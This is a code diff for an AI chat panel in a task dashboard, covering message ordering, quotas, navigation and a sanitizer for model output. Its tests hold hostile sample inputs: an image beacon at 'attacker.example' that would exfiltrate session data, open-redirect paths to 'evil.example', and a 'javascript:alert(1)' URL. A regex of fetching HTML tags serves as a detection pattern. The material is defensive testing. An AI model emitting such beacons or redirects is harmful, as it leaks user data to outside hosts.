return `${step} characters left`;
|
||||
}
|
||||
|
||||
/** A composed message is a handful of parts; dozens means something is wrong. */
|
||||
export const MAX_MESSAGE_PARTS = 20;
|
||||
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { createTranscriptOrder, orderTranscript } from "./message-order";
|
||||
|
||||
const message = (id: string, parts = 1) => ({
|
||||
id,
|
||||
parts: Array.from({ length: parts }, () => ({ type: "text" })),
|
||||
});
|
||||
|
||||
describe("orderTranscript", () => {
|
||||
it("keeps the stored order and appends live messages after it", () => {
|
||||
const base = [message("a"), message("b")];
|
||||
const order = createTranscriptOrder(base);
|
||||
|
||||
const result = orderTranscript([...base, message("live-1"), message("live-2")], order);
|
||||
|
||||
expect(result.map((m) => m.id)).toEqual(["a", "b", "live-1", "live-2"]);
|
||||
});
|
||||
|
||||
it("puts a replayed stored turn back in its own slot, not after a live message", () => {
|
||||
const base = [message("a"), message("b")];
|
||||
const order = createTranscriptOrder(base);
|
||||
|
||||
const result = orderTranscript([...base, message("sent"), message("b", 2)], order);
|
||||
|
||||
expect(result.map((m) => m.id)).toEqual(["a", "b", "sent"]);
|
||||
expect(result[1]!.parts).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("keeps live arrival order stable as later renders add messages", () => {
|
||||
const order = createTranscriptOrder([message("a")]);
|
||||
|
||||
orderTranscript([message("a"), message("x")], order);
|
||||
const result = orderTranscript([message("a"), message("y"), message("x")], order);
|
||||
|
||||
expect(result.map((m) => m.id)).toEqual(["a", "x", "y"]);
|
||||
});
|
||||
|
||||
it("prefers the copy with parts while a duplicate is still empty", () => {
|
||||
const order = createTranscriptOrder([]);
|
||||
|
||||
const result = orderTranscript([message("a", 3), message("a", 0)], order);
|
||||
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0]!.parts).toHaveLength(3);
|
||||
});
|
||||
|
||||
it("is a no-op for a transcript with nothing to reorder", () => {
|
||||
const messages = [message("a"), message("b"), message("c")];
|
||||
const order = createTranscriptOrder(messages);
|
||||
|
||||
expect(orderTranscript(messages, order).map((m) => m.id)).toEqual(["a", "b", "c"]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,49 @@
|
||||
// Ordering is keyed by message id, so a turn the stream replays lands back in its
|
||||
// own slot rather than after a message sent locally since.
|
||||
|
||||
export type TranscriptOrder = {
|
||||
base: Map<string, number>;
|
||||
live: Map<string, number>;
|
||||
};
|
||||
|
||||
export function createTranscriptOrder(base: ReadonlyArray<{ id: string }>): TranscriptOrder {
|
||||
return {
|
||||
base: new Map(base.map((message, index) => [message.id, index])),
|
||||
live: new Map(),
|
||||
};
|
||||
}
|
||||
|
||||
type Orderable = { id: string; parts?: ReadonlyArray<unknown> };
|
||||
|
||||
// Mutates `order.live`, so the order object must be long-lived (a ref).
|
||||
export function orderTranscript<T extends Orderable>(
|
||||
messages: ReadonlyArray<T>,
|
||||
order: TranscriptOrder
|
||||
): T[] {
|
||||
const chosen = new Map<string, T>();
|
||||
|
||||
for (const message of messages) {
|
||||
if (!order.base.has(message.id) && !order.live.has(message.id)) {
|
||||
order.live.set(message.id, order.live.size);
|
||||
}
|
||||
const existing = chosen.get(message.id);
|
||||
// The later (streamed) copy wins, unless it has no parts yet.
|
||||
if (existing && partCount(message) === 0 && partCount(existing) > 0) continue;
|
||||
chosen.set(message.id, message);
|
||||
}
|
||||
|
||||
return [...chosen.values()]
|
||||
.map((message, arrival) => ({ message, arrival, rank: rankOf(message.id, order) }))
|
||||
.sort((a, b) => a.rank - b.rank || a.arrival - b.arrival)
|
||||
.map((entry) => entry.message);
|
||||
}
|
||||
|
||||
function partCount(message: Orderable): number {
|
||||
return message.parts?.length ?? 0;
|
||||
}
|
||||
|
||||
function rankOf(id: string, order: TranscriptOrder): number {
|
||||
const base = order.base.get(id);
|
||||
if (base !== undefined) return base;
|
||||
return order.base.size + (order.live.get(id) ?? 0);
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { countUserMessages, FREE_PLAN_MESSAGE_LIMIT, resolveMessageQuota } from "./message-quota";
|
||||
|
||||
describe("resolveMessageQuota", () => {
|
||||
it("caps a Free plan at the limit", () => {
|
||||
expect(resolveMessageQuota({ isFreePlan: true, used: 0 })).toEqual({
|
||||
kind: "within",
|
||||
used: 0,
|
||||
limit: FREE_PLAN_MESSAGE_LIMIT,
|
||||
remaining: FREE_PLAN_MESSAGE_LIMIT,
|
||||
});
|
||||
expect(
|
||||
resolveMessageQuota({ isFreePlan: true, used: FREE_PLAN_MESSAGE_LIMIT - 1 })
|
||||
).toMatchObject({ kind: "within", remaining: 1 });
|
||||
expect(resolveMessageQuota({ isFreePlan: true, used: FREE_PLAN_MESSAGE_LIMIT })).toMatchObject({
|
||||
kind: "reached",
|
||||
});
|
||||
});
|
||||
|
||||
it("never reports negative remaining once past the limit", () => {
|
||||
expect(resolveMessageQuota({ isFreePlan: true, used: 999 })).toEqual({
|
||||
kind: "reached",
|
||||
used: 999,
|
||||
limit: FREE_PLAN_MESSAGE_LIMIT,
|
||||
});
|
||||
});
|
||||
|
||||
it("does not cap a paid plan", () => {
|
||||
expect(resolveMessageQuota({ isFreePlan: false, used: 999 })).toEqual({ kind: "unlimited" });
|
||||
});
|
||||
|
||||
it("fails open when the plan is unknown", () => {
|
||||
expect(resolveMessageQuota({ isFreePlan: undefined, used: 999 })).toEqual({
|
||||
kind: "unlimited",
|
||||
});
|
||||
});
|
||||
|
||||
it("fails open when the count hasn't arrived", () => {
|
||||
expect(resolveMessageQuota({ isFreePlan: true, used: undefined })).toEqual({
|
||||
kind: "unlimited",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("countUserMessages", () => {
|
||||
it("counts only what the user sent", () => {
|
||||
expect(
|
||||
countUserMessages([
|
||||
{ role: "user" },
|
||||
{ role: "assistant" },
|
||||
{ role: "user" },
|
||||
{ role: "system" },
|
||||
])
|
||||
).toBe(2);
|
||||
expect(countUserMessages([])).toBe(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,30 @@
|
||||
// Counted per user across their chats in the org, not per chat, which "New chat"
|
||||
// would reset.
|
||||
export const FREE_PLAN_MESSAGE_LIMIT = 20;
|
||||
|
||||
export type MessageQuota =
|
||||
| { kind: "unlimited" }
|
||||
| { kind: "within"; used: number; limit: number; remaining: number }
|
||||
| { kind: "reached"; used: number; limit: number };
|
||||
|
||||
// Fails open: the cap is a nudge, not a security boundary, so an unknown plan or
|
||||
// count means no cap.
|
||||
export function resolveMessageQuota({
|
||||
isFreePlan,
|
||||
used,
|
||||
limit = FREE_PLAN_MESSAGE_LIMIT,
|
||||
}: {
|
||||
isFreePlan: boolean | undefined;
|
||||
used: number | undefined;
|
||||
limit?: number;
|
||||
}): MessageQuota {
|
||||
if (isFreePlan !== true || used === undefined) return { kind: "unlimited" };
|
||||
const remaining = Math.max(0, limit - used);
|
||||
return remaining === 0
|
||||
? { kind: "reached", used, limit }
|
||||
: { kind: "within", used, limit, remaining };
|
||||
}
|
||||
|
||||
export function countUserMessages(messages: { role: string }[]): number {
|
||||
return messages.reduce((total, message) => (message.role === "user" ? total + 1 : total), 0);
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
import { createElement } from "react";
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import { Streamdown } from "streamdown";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { stripModelImages } from "./model-markdown";
|
||||
|
||||
const BEACON = "https://attacker.example/collect?session=abc";
|
||||
|
||||
function render(markdown: string): string {
|
||||
return renderToStaticMarkup(createElement(Streamdown as never, { children: markdown } as never));
|
||||
}
|
||||
|
||||
describe("stripModelImages", () => {
|
||||
it("renders no fetching element for an inline remote image", () => {
|
||||
const html = render(stripModelImages(`Here you go: `));
|
||||
expect(html).not.toMatch(/<img\b/i);
|
||||
expect(html).not.toContain("attacker.example");
|
||||
});
|
||||
|
||||
it("renders no fetching element for a reference-style remote image", () => {
|
||||
const markdown = `Look: ![chart][beacon]\n\n[beacon]: ${BEACON}\n`;
|
||||
const stripped = stripModelImages(markdown);
|
||||
expect(stripped).not.toContain("\n\`\`\``);
|
||||
expect(stripped).not.toContain("attacker.example");
|
||||
});
|
||||
|
||||
it("keeps the alt text as prose", () => {
|
||||
expect(stripModelImages(`See  above.`)).toBe(
|
||||
"See the run graph above."
|
||||
);
|
||||
});
|
||||
|
||||
it("leaves ordinary markdown, including links, untouched", () => {
|
||||
const markdown = "**bold** and [a run](https://cloud.trigger.dev/runs/1)";
|
||||
expect(stripModelImages(markdown)).toBe(markdown);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,45 @@
|
||||
// No model-supplied image is rendered at all: the browser fetches the URL on render, so any
|
||||
// URL the model controls exfiltrates the page. Alt text is re-emitted as plain prose.
|
||||
|
||||
const MARKDOWN_IMAGE = /!\[([^\]]*)\]\s*(?:\([^)]*\)|\[[^\]]*\])/g;
|
||||
|
||||
const MARKDOWN_SHORTCUT_IMAGE = /!\[([^\]]*)\]/g;
|
||||
|
||||
// Closing bracket optional: an unterminated tag still parses as an element in the browser.
|
||||
const FETCHING_TAG =
|
||||
/<\s*\/?\s*(?:img|image|picture|source|srcset|svg|use|embed|object|iframe|frame|video|audio|track|link|input|script|style|base)\b[^>]*>?/gi;
|
||||
|
||||
function plainAlt(alt: string): string {
|
||||
return alt.replace(/[![\]<>`]/g, "").trim();
|
||||
}
|
||||
|
||||
/**
|
||||
* One pass isn't enough: removing a match can splice the surrounding text into a fresh one
|
||||
* (`<scr<script>ipt>`), so repeat until nothing changes. Nesting deep enough to need more than
|
||||
* `MAX_PASSES` is adversarial, not real model output, and looping it out is quadratic on the
|
||||
* render thread — so past the bound we stop and blunt every character the strips key on. The
|
||||
* result is over-stripped, never half-stripped.
|
||||
*/
|
||||
const MAX_PASSES = 25;
|
||||
const STRIP_CHARS = /[![\]<>]/g;
|
||||
|
||||
function replaceUntilStable(
|
||||
text: string,
|
||||
pattern: RegExp,
|
||||
replacer: (whole: string, ...groups: string[]) => string
|
||||
): string {
|
||||
let current = text;
|
||||
for (let pass = 0; pass < MAX_PASSES; pass++) {
|
||||
const next = current.replace(pattern, replacer);
|
||||
if (next === current) return current;
|
||||
current = next;
|
||||
}
|
||||
return current.replace(STRIP_CHARS, "");
|
||||
}
|
||||
|
||||
// Strips inside code fences too: a fence-aware pass is bypassable with a half-fence.
|
||||
export function stripModelImages(text: string): string {
|
||||
let out = replaceUntilStable(text, MARKDOWN_IMAGE, (_whole, alt: string) => plainAlt(alt));
|
||||
out = replaceUntilStable(out, MARKDOWN_SHORTCUT_IMAGE, (_whole, alt: string) => plainAlt(alt));
|
||||
return replaceUntilStable(out, FETCHING_TAG, () => "");
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { getRunFiltersFromSearchParams } from "~/components/runs/v3/RunFilters";
|
||||
import { appendRunFilters, navigateDestination, sameOriginPath } from "./navigate-target";
|
||||
|
||||
const RUNS_PATH = "/orgs/acme/projects/api/env/prod/runs";
|
||||
|
||||
const FAILING = [
|
||||
"COMPLETED_WITH_ERRORS",
|
||||
"SYSTEM_FAILURE",
|
||||
"CRASHED",
|
||||
"EXPIRED",
|
||||
"TIMED_OUT",
|
||||
"INTERRUPTED",
|
||||
];
|
||||
|
||||
/** What the runs page makes of a URL this module produced. */
|
||||
function pageReads(path: string) {
|
||||
return getRunFiltersFromSearchParams(
|
||||
new URLSearchParams(new URL(path, "https://x.invalid").search)
|
||||
);
|
||||
}
|
||||
|
||||
describe("appendRunFilters", () => {
|
||||
it("returns the path untouched with no filters", () => {
|
||||
expect(appendRunFilters(RUNS_PATH)).toBe(RUNS_PATH);
|
||||
});
|
||||
|
||||
it("writes arrays as repeated params and keeps existing ones", () => {
|
||||
const result = appendRunFilters(`${RUNS_PATH}?query=payments`, {
|
||||
statuses: ["COMPLETED_WITH_ERRORS", "CRASHED"],
|
||||
tasks: "send-email",
|
||||
period: "1d",
|
||||
});
|
||||
|
||||
expect(result).toBe(
|
||||
`${RUNS_PATH}?query=payments&statuses=COMPLETED_WITH_ERRORS&statuses=CRASHED&tasks=send-email&period=1d`
|
||||
);
|
||||
});
|
||||
|
||||
it("converts absolute bounds to epoch milliseconds", () => {
|
||||
const result = appendRunFilters(RUNS_PATH, { from: "2026-01-01T00:00:00.000Z" });
|
||||
|
||||
expect(result).toBe(`${RUNS_PATH}?from=${Date.parse("2026-01-01T00:00:00.000Z")}`);
|
||||
});
|
||||
|
||||
it("drops empty values and false booleans", () => {
|
||||
expect(appendRunFilters(RUNS_PATH, { search: "", rootOnly: false, tags: [] })).toBe(RUNS_PATH);
|
||||
expect(appendRunFilters(RUNS_PATH, { rootOnly: true })).toBe(`${RUNS_PATH}?rootOnly=true`);
|
||||
});
|
||||
|
||||
it("expands FAILED into the statuses the page calls failures", () => {
|
||||
const result = appendRunFilters(RUNS_PATH, { statuses: ["FAILED"], period: "1d" });
|
||||
|
||||
expect(pageReads(result)).toEqual({ statuses: FAILING, period: "1d" });
|
||||
});
|
||||
|
||||
it("takes the status the user said, however they cased it", () => {
|
||||
expect(pageReads(appendRunFilters(RUNS_PATH, { statuses: "failed" }))).toEqual({
|
||||
statuses: FAILING,
|
||||
});
|
||||
});
|
||||
|
||||
it("passes a page-native status through untranslated", () => {
|
||||
const result = appendRunFilters(RUNS_PATH, { statuses: ["COMPLETED_SUCCESSFULLY"] });
|
||||
|
||||
expect(result).toBe(`${RUNS_PATH}?statuses=COMPLETED_SUCCESSFULLY`);
|
||||
expect(pageReads(result)).toEqual({ statuses: ["COMPLETED_SUCCESSFULLY"] });
|
||||
});
|
||||
|
||||
it("translates the other API status names the model borrows", () => {
|
||||
expect(pageReads(appendRunFilters(RUNS_PATH, { statuses: ["QUEUED", "COMPLETED"] }))).toEqual({
|
||||
statuses: ["PENDING", "COMPLETED_SUCCESSFULLY"],
|
||||
});
|
||||
});
|
||||
|
||||
it("drops a status the page cannot parse rather than losing every filter with it", () => {
|
||||
const result = appendRunFilters(RUNS_PATH, { statuses: ["NONSENSE"], period: "1d" });
|
||||
|
||||
expect(result).toBe(`${RUNS_PATH}?period=1d`);
|
||||
expect(pageReads(result)).toEqual({ period: "1d" });
|
||||
});
|
||||
|
||||
// The page's parser has no `search`, and an unread param is only noise in the URL.
|
||||
it("leaves search out of the URL", () => {
|
||||
expect(appendRunFilters(RUNS_PATH, { search: "boom", period: "1d" })).toBe(
|
||||
`${RUNS_PATH}?period=1d`
|
||||
);
|
||||
});
|
||||
|
||||
// Control: the untranslated URL is what the live failure looked like. One status the
|
||||
// page cannot parse and it discards everything, the period included.
|
||||
it("pins why translation is needed: raw FAILED wipes the whole filter set", () => {
|
||||
expect(pageReads(`${RUNS_PATH}?statuses=FAILED&period=1d`)).toEqual({});
|
||||
});
|
||||
});
|
||||
|
||||
describe("navigateDestination", () => {
|
||||
const SOURCE_URL = "https://github.com/acme/api/blob/abc123/src/tasks/send-email.ts#L42";
|
||||
|
||||
it("routes a dashboard path and applies the intent's filters", () => {
|
||||
expect(
|
||||
navigateDestination({ path: RUNS_PATH, external: false }, { statuses: ["FAILED"] })
|
||||
).toEqual({
|
||||
kind: "route",
|
||||
path: `${RUNS_PATH}?${FAILING.map((s) => `statuses=${s}`).join("&")}`,
|
||||
});
|
||||
});
|
||||
|
||||
it("never routes a source file, it leaves the dashboard", () => {
|
||||
expect(navigateDestination({ path: SOURCE_URL, external: true })).toEqual({
|
||||
kind: "external",
|
||||
url: SOURCE_URL,
|
||||
});
|
||||
});
|
||||
|
||||
it("refuses to route an absolute URL even when the server forgot to flag it", () => {
|
||||
expect(navigateDestination({ path: SOURCE_URL })).toEqual({
|
||||
kind: "external",
|
||||
url: SOURCE_URL,
|
||||
});
|
||||
});
|
||||
|
||||
it("refuses a protocol-relative path, which would change host", () => {
|
||||
expect(navigateDestination({ path: "//evil.example/runs" })).toEqual({ kind: "none" });
|
||||
expect(navigateDestination({ path: "/\\evil.example/runs" })).toEqual({ kind: "none" });
|
||||
});
|
||||
|
||||
it("resolves to nothing when there is no target", () => {
|
||||
expect(navigateDestination(null)).toEqual({ kind: "none" });
|
||||
expect(navigateDestination({ path: "" })).toEqual({ kind: "none" });
|
||||
expect(navigateDestination({ path: "javascript:alert(1)" })).toEqual({ kind: "none" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("sameOriginPath", () => {
|
||||
const origin = "http://localhost:3030";
|
||||
|
||||
it("turns an absolute dashboard URL into a path", () => {
|
||||
expect(sameOriginPath(`${origin}${RUNS_PATH}?statuses=FAILED#top`, origin)).toBe(
|
||||
`${RUNS_PATH}?statuses=FAILED#top`
|
||||
);
|
||||
});
|
||||
|
||||
it("returns null for another origin", () => {
|
||||
expect(sameOriginPath("https://trigger.dev/docs/errors", origin)).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null for a URL it can't parse", () => {
|
||||
expect(sameOriginPath("not a url", "")).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,121 @@
|
||||
// `trigger://` targets are resolved server-side in `resolveTriggerUri.server.ts`.
|
||||
import { type RunFilters } from "@internal/dashboard-agent-contracts";
|
||||
import { allTaskRunStatuses } from "~/components/runs/v3/TaskRunStatus";
|
||||
|
||||
// Filter keys are the runs page's own URL params, except that the page reads these
|
||||
// bounds as epoch milliseconds while an intent carries ISO strings.
|
||||
const EPOCH_MS_KEYS = new Set(["from", "to"]);
|
||||
|
||||
// The page's filter parser has no `search` param, so it would only clutter the URL.
|
||||
const UNSUPPORTED_KEYS = new Set(["search"]);
|
||||
|
||||
type PageStatus = (typeof allTaskRunStatuses)[number];
|
||||
|
||||
const PAGE_STATUSES = new Set<string>(allTaskRunStatuses);
|
||||
|
||||
/** What a user means by "failed runs": every terminal status that is not a success or a cancel. */
|
||||
const FAILING_STATUSES = [
|
||||
"COMPLETED_WITH_ERRORS",
|
||||
"SYSTEM_FAILURE",
|
||||
"CRASHED",
|
||||
"EXPIRED",
|
||||
"TIMED_OUT",
|
||||
"INTERRUPTED",
|
||||
] as const satisfies readonly PageStatus[];
|
||||
|
||||
/** Statuses the API (and so the model) uses that the runs page has never heard of. */
|
||||
const STATUS_ALIASES = {
|
||||
FAILED: FAILING_STATUSES,
|
||||
QUEUED: ["PENDING"],
|
||||
COMPLETED: ["COMPLETED_SUCCESSFULLY"],
|
||||
REATTEMPTING: ["RETRYING_AFTER_FAILURE"],
|
||||
FROZEN: ["WAITING_TO_RESUME"],
|
||||
} as const satisfies Record<string, readonly PageStatus[]>;
|
||||
|
||||
/**
|
||||
* Statuses in the page's own vocabulary. One value it cannot parse makes it discard
|
||||
* every filter — the period too — so anything unrecognized is dropped, not sent.
|
||||
*/
|
||||
function pageStatuses(values: readonly string[]): string[] {
|
||||
const translated = new Set<string>();
|
||||
for (const value of values) {
|
||||
const status = value.trim().toUpperCase();
|
||||
if (PAGE_STATUSES.has(status)) {
|
||||
translated.add(status);
|
||||
continue;
|
||||
}
|
||||
for (const alias of STATUS_ALIASES[status as keyof typeof STATUS_ALIASES] ?? []) {
|
||||
translated.add(alias);
|
||||
}
|
||||
}
|
||||
return [...translated];
|
||||
}
|
||||
|
||||
export function appendRunFilters(path: string, filters?: RunFilters): string {
|
||||
if (!filters) return path;
|
||||
// A base is needed to parse a relative path; only pathname + search is used.
|
||||
const url = new URL(path, "https://dashboard.invalid");
|
||||
|
||||
for (const [key, value] of Object.entries(filters)) {
|
||||
if (value === undefined || value === null || value === "") continue;
|
||||
if (UNSUPPORTED_KEYS.has(key)) continue;
|
||||
if (key === "statuses") {
|
||||
const statuses = Array.isArray(value) ? value : [String(value)];
|
||||
for (const status of pageStatuses(statuses)) url.searchParams.append(key, status);
|
||||
continue;
|
||||
}
|
||||
if (EPOCH_MS_KEYS.has(key)) {
|
||||
const epochMs = Date.parse(String(value));
|
||||
if (!Number.isNaN(epochMs)) url.searchParams.set(key, String(epochMs));
|
||||
continue;
|
||||
}
|
||||
if (Array.isArray(value)) {
|
||||
for (const entry of value) if (entry) url.searchParams.append(key, entry);
|
||||
continue;
|
||||
}
|
||||
if (typeof value === "boolean") {
|
||||
if (value) url.searchParams.set(key, "true");
|
||||
continue;
|
||||
}
|
||||
url.searchParams.set(key, String(value));
|
||||
}
|
||||
|
||||
return `${url.pathname}${url.search}`;
|
||||
}
|
||||
|
||||
export type NavigateDestination =
|
||||
| { kind: "route"; path: string }
|
||||
| { kind: "external"; url: string }
|
||||
| { kind: "none" };
|
||||
|
||||
/**
|
||||
* What the host should do with a resolved navigate target. A `trigger://source/…` resolves to a
|
||||
* file on GitHub, which the router cannot route: handed to `navigate` it lands on a dead
|
||||
* dashboard path. Only a root-relative path is ever routed, whatever the server said.
|
||||
*/
|
||||
export function navigateDestination(
|
||||
resolved: { path?: string | null; external?: boolean } | null | undefined,
|
||||
filters?: RunFilters
|
||||
): NavigateDestination {
|
||||
const target = resolved?.path;
|
||||
if (!target) return { kind: "none" };
|
||||
|
||||
// `/\` too: a URL parser maps the backslash to a slash, so it leaves the origin.
|
||||
const routable = !resolved?.external && target.startsWith("/") && !/^\/[/\\]/.test(target);
|
||||
if (routable) return { kind: "route", path: appendRunFilters(target, filters) };
|
||||
|
||||
// Run filters belong to the runs page, so they are dropped rather than pushed onto a foreign URL.
|
||||
return /^https?:\/\//i.test(target) ? { kind: "external", url: target } : { kind: "none" };
|
||||
}
|
||||
|
||||
// Null when the link leaves the dashboard.
|
||||
export function sameOriginPath(href: string, origin: string): string | null {
|
||||
let url: URL;
|
||||
try {
|
||||
url = new URL(href, origin);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
if (url.origin !== origin) return null;
|
||||
return `${url.pathname}${url.search}${url.hash}`;
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
import type { UIMessage } from "@ai-sdk/react";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { resolveOpenedChat } from "./opened-chat";
|
||||
|
||||
const CHAT_ID = "chat_abc123";
|
||||
|
||||
const message: UIMessage = {
|
||||
id: "msg_1",
|
||||
role: "user",
|
||||
parts: [{ type: "text", text: "why did this run fail?" }],
|
||||
};
|
||||
|
||||
describe("resolveOpenedChat", () => {
|
||||
it("opens a chat that has messages", () => {
|
||||
const opened = resolveOpenedChat(CHAT_ID, { messages: [message], session: null });
|
||||
|
||||
expect(opened).toEqual({ kind: "chat", chatId: CHAT_ID, messages: [message], session: null });
|
||||
});
|
||||
|
||||
it("still opens a chat that exists but has no messages", () => {
|
||||
const opened = resolveOpenedChat(CHAT_ID, { messages: [], session: null });
|
||||
|
||||
expect(opened.kind).toBe("chat");
|
||||
expect(opened).toEqual({ kind: "chat", chatId: CHAT_ID, messages: [], session: null });
|
||||
});
|
||||
|
||||
it("treats a chat with no messages field the same way", () => {
|
||||
expect(resolveOpenedChat(CHAT_ID, {}).kind).toBe("chat");
|
||||
});
|
||||
|
||||
it("reports a chat the server would not return as gone", () => {
|
||||
expect(resolveOpenedChat(CHAT_ID, undefined)).toEqual({ kind: "gone" });
|
||||
});
|
||||
|
||||
it("carries the session through, dropping a null last event id", () => {
|
||||
const opened = resolveOpenedChat(CHAT_ID, {
|
||||
messages: [message],
|
||||
session: { publicAccessToken: "pat_1", lastEventId: null },
|
||||
});
|
||||
|
||||
expect(opened).toMatchObject({ session: { publicAccessToken: "pat_1" } });
|
||||
expect(opened.kind === "chat" && opened.session?.lastEventId).toBeUndefined();
|
||||
});
|
||||
|
||||
it("keeps a last event id when there is one", () => {
|
||||
const opened = resolveOpenedChat(CHAT_ID, {
|
||||
messages: [],
|
||||
session: { publicAccessToken: "pat_1", lastEventId: "evt_9" },
|
||||
});
|
||||
|
||||
expect(opened).toMatchObject({ session: { publicAccessToken: "pat_1", lastEventId: "evt_9" } });
|
||||
});
|
||||
|
||||
it("has no session when the token is missing", () => {
|
||||
expect(resolveOpenedChat(CHAT_ID, { messages: [message] })).toMatchObject({ session: null });
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,37 @@
|
||||
import type { UIMessage } from "@ai-sdk/react";
|
||||
|
||||
export type OpenedChatResponse = {
|
||||
messages?: UIMessage[];
|
||||
session?: { publicAccessToken: string; lastEventId: string | null } | null;
|
||||
};
|
||||
|
||||
export type OpenedChat =
|
||||
| {
|
||||
kind: "chat";
|
||||
chatId: string;
|
||||
messages: UIMessage[];
|
||||
session: { publicAccessToken: string; lastEventId?: string } | null;
|
||||
}
|
||||
// Deleted, or belonging to someone else: the read failed, so there is no chat to show.
|
||||
| { kind: "gone" };
|
||||
|
||||
/** An empty transcript is still a chat, so only a failed read drops you into a new one. */
|
||||
export function resolveOpenedChat(
|
||||
chatId: string,
|
||||
response: OpenedChatResponse | undefined
|
||||
): OpenedChat {
|
||||
if (!response) return { kind: "gone" };
|
||||
|
||||
const session = response.session;
|
||||
return {
|
||||
kind: "chat",
|
||||
chatId,
|
||||
messages: response.messages ?? [],
|
||||
session: session?.publicAccessToken
|
||||
? {
|
||||
publicAccessToken: session.publicAccessToken,
|
||||
lastEventId: session.lastEventId ?? undefined,
|
||||
}
|
||||
: null,
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
// The webapp's import point for these contracts. UI code should not import from
|
||||
// `@internal/dashboard-agent-contracts` directly.
|
||||
export type {
|
||||
AgentPage,
|
||||
AgentPageContext,
|
||||
AgentPageSignal,
|
||||
} from "@internal/dashboard-agent-contracts";
|
||||
@@ -0,0 +1,83 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { agentPageLabel, pageLabelFromPath } from "./page-label";
|
||||
|
||||
const envRoot = "/orgs/acme-1234/projects/hello-world-ab12/env/dev";
|
||||
|
||||
describe("pageLabelFromPath", () => {
|
||||
it("labels the env root as Overview", () => {
|
||||
expect(pageLabelFromPath(envRoot)).toBe("Overview");
|
||||
expect(pageLabelFromPath(`${envRoot}/`)).toBe("Overview");
|
||||
});
|
||||
|
||||
it("labels known env sections", () => {
|
||||
expect(pageLabelFromPath(`${envRoot}/runs`)).toBe("Runs");
|
||||
expect(pageLabelFromPath(`${envRoot}/queues`)).toBe("Queues");
|
||||
expect(pageLabelFromPath(`${envRoot}/deployments`)).toBe("Deployments");
|
||||
expect(pageLabelFromPath(`${envRoot}/environment-variables`)).toBe("Environment variables");
|
||||
expect(pageLabelFromPath(`${envRoot}/apikeys`)).toBe("API keys");
|
||||
});
|
||||
|
||||
it("labels a detail path by its section", () => {
|
||||
expect(pageLabelFromPath(`${envRoot}/runs/run_abc123`)).toBe("Runs");
|
||||
expect(pageLabelFromPath(`${envRoot}/errors/deadbeef`)).toBe("Errors");
|
||||
});
|
||||
|
||||
it("prettifies unknown sections instead of showing a raw slug", () => {
|
||||
expect(pageLabelFromPath(`${envRoot}/some-new-thing`)).toBe("Some new thing");
|
||||
});
|
||||
|
||||
it("reads the section past a preview branch named like a path marker", () => {
|
||||
const branchRoot = "/orgs/acme-1234/projects/hello-world-ab12/env";
|
||||
|
||||
expect(pageLabelFromPath(`${branchRoot}/env/runs`)).toBe("Runs");
|
||||
expect(pageLabelFromPath(`${branchRoot}/env/runs/run_abc123`)).toBe("Runs");
|
||||
expect(pageLabelFromPath(`${branchRoot}/env/environment-variables`)).toBe(
|
||||
"Environment variables"
|
||||
);
|
||||
expect(pageLabelFromPath(`${branchRoot}/env`)).toBe("Overview");
|
||||
expect(pageLabelFromPath(`${branchRoot}/projects/queues`)).toBe("Queues");
|
||||
});
|
||||
|
||||
it("falls back to the last segment outside an env path", () => {
|
||||
expect(pageLabelFromPath("/orgs/acme-1234/settings/members")).toBe("Members");
|
||||
expect(pageLabelFromPath("/account/security")).toBe("Security");
|
||||
});
|
||||
|
||||
it("never returns an empty label", () => {
|
||||
expect(pageLabelFromPath("/")).toBe("Dashboard");
|
||||
expect(pageLabelFromPath("")).toBe("Dashboard");
|
||||
});
|
||||
});
|
||||
|
||||
describe("agentPageLabel", () => {
|
||||
it("prefers the structured page kind", () => {
|
||||
expect(agentPageLabel({ page: { kind: "runs" }, signals: [] }, `${envRoot}/anything`)).toBe(
|
||||
"Runs"
|
||||
);
|
||||
expect(
|
||||
agentPageLabel(
|
||||
{ page: { kind: "run", runId: "run_abc", status: "FAILED", taskId: "t" }, signals: [] },
|
||||
`${envRoot}/runs/run_abc`
|
||||
)
|
||||
).toBe("Run detail");
|
||||
expect(agentPageLabel({ page: { kind: "queue", name: "default" }, signals: [] }, envRoot)).toBe(
|
||||
"Queue detail"
|
||||
);
|
||||
expect(
|
||||
agentPageLabel({ page: { kind: "deployment", version: "20240101.1" }, signals: [] }, envRoot)
|
||||
).toBe("Deployment detail");
|
||||
expect(
|
||||
agentPageLabel({ page: { kind: "error", fingerprint: "abc" }, signals: [] }, envRoot)
|
||||
).toBe("Error detail");
|
||||
});
|
||||
|
||||
it("falls back to the path an unclassified page carries", () => {
|
||||
expect(
|
||||
agentPageLabel({ page: { kind: "other", path: `${envRoot}/queues` }, signals: [] }, "/")
|
||||
).toBe("Queues");
|
||||
});
|
||||
|
||||
it("falls back to the location with no page context at all", () => {
|
||||
expect(agentPageLabel(undefined, `${envRoot}/schedules`)).toBe("Schedules");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,118 @@
|
||||
// Display text only. The full pathname still reaches the agent in
|
||||
// `clientData.currentPage`.
|
||||
|
||||
import type { AgentPage, AgentPageContext } from "./page-context-types";
|
||||
|
||||
const FALLBACK_LABEL = "Dashboard";
|
||||
|
||||
// `other` is the unclassified kind, so it resolves from the path instead.
|
||||
const KIND_LABELS: Record<Exclude<AgentPage["kind"], "other">, string> = {
|
